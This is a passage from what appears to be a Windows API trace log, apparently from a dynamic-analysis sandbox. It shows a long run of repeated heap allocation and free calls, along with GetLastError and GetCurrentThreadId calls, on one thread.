0x0 [0125.769] GetCurrentThreadId () returned 0x9b0 [0125.769] GetLastError () returned 0x0 [0125.769] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0125.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0125.770] GetLastError () returned 0x0 [0125.770] GetLastError () returned 0x0 [0125.771] GetCurrentThreadId () returned 0x9b0 [0125.771] GetLastError () returned 0x0 [0125.771] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0125.771] GetLastError () returned 0x0 [0125.771] GetLastError () returned 0x0 [0125.771] GetCurrentThreadId () returned 0x9b0 [0125.771] GetLastError () returned 0x0 [0125.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652f8 [0125.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265308 | out: hHeap=0x2ad0000) returned 1 [0125.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0125.773] GetCurrentThreadId () returned 0x9b0 [0125.773] GetLastError () returned 0x0 [0125.774] GetLastError () returned 0x0 [0125.774] GetLastError () returned 0x0 [0125.774] GetLastError () returned 0x0 [0125.774] GetCurrentThreadId () returned 0x9b0 [0125.774] GetLastError () returned 0x0 [0125.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.774] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0125.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0125.774] GetLastError () returned 0x0 [0125.775] GetLastError () returned 0x0 [0125.776] GetCurrentThreadId () returned 0x9b0 [0125.776] GetLastError () returned 0x0 [0125.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0125.776] GetLastError () returned 0x0 [0125.776] GetLastError () returned 0x0 [0125.777] GetCurrentThreadId () returned 0x9b0 [0125.777] GetLastError () returned 0x0 [0125.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265468 [0125.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652f8 | out: hHeap=0x2ad0000) returned 1 [0125.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0125.778] GetLastError () returned 0x0 [0125.778] GetLastError () returned 0x0 [0125.778] GetLastError () returned 0x0 [0125.778] GetLastError () returned 0x0 [0125.778] GetCurrentThreadId () returned 0x9b0 [0125.778] GetLastError () returned 0x0 [0125.778] GetCurrentThreadId () returned 0x9b0 [0125.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37940d0 [0125.778] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.779] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0125.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0125.779] GetLastError () returned 0x0 [0125.780] GetLastError () returned 0x0 [0125.780] GetCurrentThreadId () returned 0x9b0 [0125.780] GetLastError () returned 0x0 [0125.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.780] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0125.780] GetLastError () returned 0x0 [0125.780] GetLastError () returned 0x0 [0125.781] GetCurrentThreadId () returned 0x9b0 [0125.781] GetLastError () returned 0x0 [0125.781] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653b8 [0125.782] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0125.782] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0125.782] GetLastError () returned 0x0 [0125.783] GetLastError () returned 0x0 [0125.783] GetLastError () returned 0x0 [0125.783] GetLastError () returned 0x0 [0125.783] GetCurrentThreadId () returned 0x9b0 [0125.783] GetLastError () returned 0x0 [0125.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0125.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0125.783] GetLastError () returned 0x0 [0125.785] GetLastError () returned 0x0 [0125.785] GetCurrentThreadId () returned 0x9b0 [0125.785] GetLastError () returned 0x0 [0125.785] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.785] GetCurrentThreadId () returned 0x9b0 [0125.785] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0125.785] GetLastError () returned 0x0 [0125.786] GetLastError () returned 0x0 [0125.786] GetCurrentThreadId () returned 0x9b0 [0125.786] GetLastError () returned 0x0 [0125.786] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.786] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265468 [0125.787] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653b8 | out: hHeap=0x2ad0000) returned 1 [0125.787] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0125.787] GetLastError () returned 0x0 [0125.787] GetLastError () returned 0x0 [0125.787] GetLastError () returned 0x0 [0125.788] GetLastError () returned 0x0 [0125.788] GetCurrentThreadId () returned 0x9b0 [0125.788] GetLastError () returned 0x0 [0125.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.788] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0125.788] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0125.788] GetLastError () returned 0x0 [0125.789] GetLastError () returned 0x0 [0125.789] GetCurrentThreadId () returned 0x9b0 [0125.789] GetLastError () returned 0x0 [0125.789] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.789] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0125.789] GetLastError () returned 0x0 [0125.790] GetLastError () returned 0x0 [0125.790] GetCurrentThreadId () returned 0x9b0 [0125.790] GetLastError () returned 0x0 [0125.790] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.790] GetCurrentThreadId () returned 0x9b0 [0125.790] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653b8 [0125.790] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0125.790] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0125.791] GetLastError () returned 0x0 [0125.791] GetLastError () returned 0x0 [0125.791] GetLastError () returned 0x0 [0125.791] GetLastError () returned 0x0 [0125.791] GetCurrentThreadId () returned 0x9b0 [0125.791] GetLastError () returned 0x0 [0125.791] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.791] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0125.792] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0125.792] GetLastError () returned 0x0 [0125.792] GetLastError () returned 0x0 [0125.793] GetCurrentThreadId () returned 0x9b0 [0125.793] GetLastError () returned 0x0 [0125.793] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.793] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0125.793] GetLastError () returned 0x0 [0125.793] GetLastError () returned 0x0 [0125.795] GetCurrentThreadId () returned 0x9b0 [0125.795] GetLastError () returned 0x0 [0125.795] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.795] GetCurrentThreadId () returned 0x9b0 [0125.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652b8 [0125.795] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653b8 | out: hHeap=0x2ad0000) returned 1 [0125.795] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0125.795] GetLastError () returned 0x0 [0125.796] GetLastError () returned 0x0 [0125.796] GetLastError () returned 0x0 [0125.796] GetLastError () returned 0x0 [0125.796] GetCurrentThreadId () returned 0x9b0 [0125.796] GetLastError () returned 0x0 [0125.796] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.796] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0125.796] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0125.796] GetLastError () returned 0x0 [0125.797] GetLastError () returned 0x0 [0125.797] GetLastError () returned 0x0 [0125.798] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0125.798] GetLastError () returned 0x0 [0125.798] GetLastError () returned 0x0 [0125.798] GetLastError () returned 0x0 [0125.798] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.798] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265468 [0125.798] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652b8 | out: hHeap=0x2ad0000) returned 1 [0125.798] GetLastError () returned 0x0 [0125.799] GetLastError () returned 0x0 [0125.799] GetLastError () returned 0x0 [0125.799] GetLastError () returned 0x0 [0125.799] GetLastError () returned 0x0 [0125.799] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.799] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0125.799] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0125.799] GetLastError () returned 0x0 [0125.801] GetLastError () returned 0x0 [0125.801] GetLastError () returned 0x0 [0125.801] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.801] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0125.801] GetLastError () returned 0x0 [0125.802] GetLastError () returned 0x0 [0125.802] GetLastError () returned 0x0 [0125.802] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.803] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265368 [0125.803] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265468 | out: hHeap=0x2ad0000) returned 1 [0125.803] GetLastError () returned 0x0 [0125.803] GetLastError () returned 0x0 [0125.803] GetLastError () returned 0x0 [0125.803] GetLastError () returned 0x0 [0125.803] GetLastError () returned 0x0 [0125.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.804] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0125.804] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0125.804] GetLastError () returned 0x0 [0125.805] GetLastError () returned 0x0 [0125.805] GetLastError () returned 0x0 [0125.805] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.805] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0125.805] GetLastError () returned 0x0 [0125.805] GetLastError () returned 0x0 [0125.805] GetLastError () returned 0x0 [0125.806] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.806] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265338 [0125.806] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0125.806] GetLastError () returned 0x0 [0125.806] GetLastError () returned 0x0 [0125.806] GetLastError () returned 0x0 [0125.806] GetLastError () returned 0x0 [0125.806] GetLastError () returned 0x0 [0125.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.807] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0125.807] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0125.807] GetLastError () returned 0x0 [0125.808] GetLastError () returned 0x0 [0125.808] GetLastError () returned 0x0 [0125.808] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.808] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0125.808] GetLastError () returned 0x0 [0125.809] GetLastError () returned 0x0 [0125.810] GetLastError () returned 0x0 [0125.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265368 [0125.810] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265338 | out: hHeap=0x2ad0000) returned 1 [0125.810] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0125.810] GetLastError () returned 0x0 [0125.811] GetLastError () returned 0x0 [0125.811] GetLastError () returned 0x0 [0125.811] GetLastError () returned 0x0 [0125.811] GetLastError () returned 0x0 [0125.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.811] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0125.811] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0125.811] GetLastError () returned 0x0 [0125.812] GetLastError () returned 0x0 [0125.812] GetLastError () returned 0x0 [0125.812] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.813] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0125.813] GetLastError () returned 0x0 [0125.813] GetLastError () returned 0x0 [0125.813] GetLastError () returned 0x0 [0125.813] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.813] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652c8 [0125.813] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0125.813] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0125.813] GetLastError () returned 0x0 [0125.814] GetLastError () returned 0x0 [0125.814] GetLastError () returned 0x0 [0125.814] GetLastError () returned 0x0 [0125.814] GetLastError () returned 0x0 [0125.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.814] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0125.814] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0125.814] GetLastError () returned 0x0 [0125.816] GetLastError () returned 0x0 [0125.816] GetLastError () returned 0x0 [0125.816] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.816] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0125.816] GetLastError () returned 0x0 [0125.817] GetLastError () returned 0x0 [0125.818] GetLastError () returned 0x0 [0125.818] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.818] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653b8 [0125.818] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652c8 | out: hHeap=0x2ad0000) returned 1 [0125.818] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0125.818] GetLastError () returned 0x0 [0125.818] GetLastError () returned 0x0 [0125.818] GetLastError () returned 0x0 [0125.819] GetLastError () returned 0x0 [0125.819] GetLastError () returned 0x0 [0125.819] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.819] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0125.819] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0125.819] GetLastError () returned 0x0 [0125.820] GetLastError () returned 0x0 [0125.820] GetLastError () returned 0x0 [0125.820] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.820] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0125.820] GetLastError () returned 0x0 [0125.821] GetLastError () returned 0x0 [0125.821] GetLastError () returned 0x0 [0125.821] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.821] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652d8 [0125.821] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653b8 | out: hHeap=0x2ad0000) returned 1 [0125.821] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0125.821] GetLastError () returned 0x0 [0125.822] GetLastError () returned 0x0 [0125.822] GetLastError () returned 0x0 [0125.822] GetLastError () returned 0x0 [0125.822] GetLastError () returned 0x0 [0125.822] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.822] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0125.822] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0125.823] GetLastError () returned 0x0 [0125.824] GetLastError () returned 0x0 [0125.824] GetLastError () returned 0x0 [0125.824] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.824] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0125.824] GetLastError () returned 0x0 [0125.825] GetLastError () returned 0x0 [0125.825] GetLastError () returned 0x0 [0125.825] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.825] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265348 [0125.825] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652d8 | out: hHeap=0x2ad0000) returned 1 [0125.826] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0125.827] GetLastError () returned 0x0 [0125.827] GetLastError () returned 0x0 [0125.827] GetLastError () returned 0x0 [0125.827] GetLastError () returned 0x0 [0125.827] GetLastError () returned 0x0 [0125.827] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.827] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0125.827] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0125.828] GetLastError () returned 0x0 [0125.828] GetLastError () returned 0x0 [0125.829] GetLastError () returned 0x0 [0125.829] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.829] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0125.829] GetLastError () returned 0x0 [0125.837] GetLastError () returned 0x0 [0125.837] GetLastError () returned 0x0 [0125.837] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.837] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265368 [0125.837] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265348 | out: hHeap=0x2ad0000) returned 1 [0125.837] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0125.838] GetLastError () returned 0x0 [0125.838] GetLastError () returned 0x0 [0125.838] GetLastError () returned 0x0 [0125.838] GetLastError () returned 0x0 [0125.838] GetLastError () returned 0x0 [0125.838] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.838] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0125.838] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0125.838] GetLastError () returned 0x0 [0125.842] GetLastError () returned 0x0 [0125.843] GetLastError () returned 0x0 [0125.843] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.843] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0125.843] GetLastError () returned 0x0 [0125.843] GetLastError () returned 0x0 [0125.843] GetLastError () returned 0x0 [0125.843] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.844] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265398 [0125.844] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265368 | out: hHeap=0x2ad0000) returned 1 [0125.844] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0125.844] GetLastError () returned 0x0 [0125.845] GetLastError () returned 0x0 [0125.845] GetLastError () returned 0x0 [0125.845] GetLastError () returned 0x0 [0125.845] GetLastError () returned 0x0 [0125.845] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.845] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0125.845] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0125.845] GetLastError () returned 0x0 [0125.846] GetLastError () returned 0x0 [0125.846] GetLastError () returned 0x0 [0125.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.847] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0125.847] GetLastError () returned 0x0 [0125.847] GetLastError () returned 0x0 [0125.847] GetLastError () returned 0x0 [0125.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.847] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32652b8 [0125.847] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265398 | out: hHeap=0x2ad0000) returned 1 [0125.847] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0125.847] GetLastError () returned 0x0 [0125.848] GetLastError () returned 0x0 [0125.848] GetLastError () returned 0x0 [0125.848] GetLastError () returned 0x0 [0125.848] GetLastError () returned 0x0 [0125.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0125.848] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0125.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0125.848] GetLastError () returned 0x0 [0125.849] GetLastError () returned 0x0 [0125.849] GetLastError () returned 0x0 [0125.850] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0125.850] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0125.850] GetLastError () returned 0x0 [0125.850] GetLastError () returned 0x0 [0125.851] GetLastError () returned 0x0 [0125.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.852] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265288 [0125.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652b8 | out: hHeap=0x2ad0000) returned 1 [0125.852] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0125.852] GetLastError () returned 0x0 [0125.852] GetLastError () returned 0x0 [0125.852] GetLastError () returned 0x0 [0125.852] GetLastError () returned 0x0 [0125.852] GetLastError () returned 0x0 [0125.853] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.853] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0125.853] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0125.853] GetLastError () returned 0x0 [0125.854] GetLastError () returned 0x0 [0125.854] GetLastError () returned 0x0 [0125.854] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: 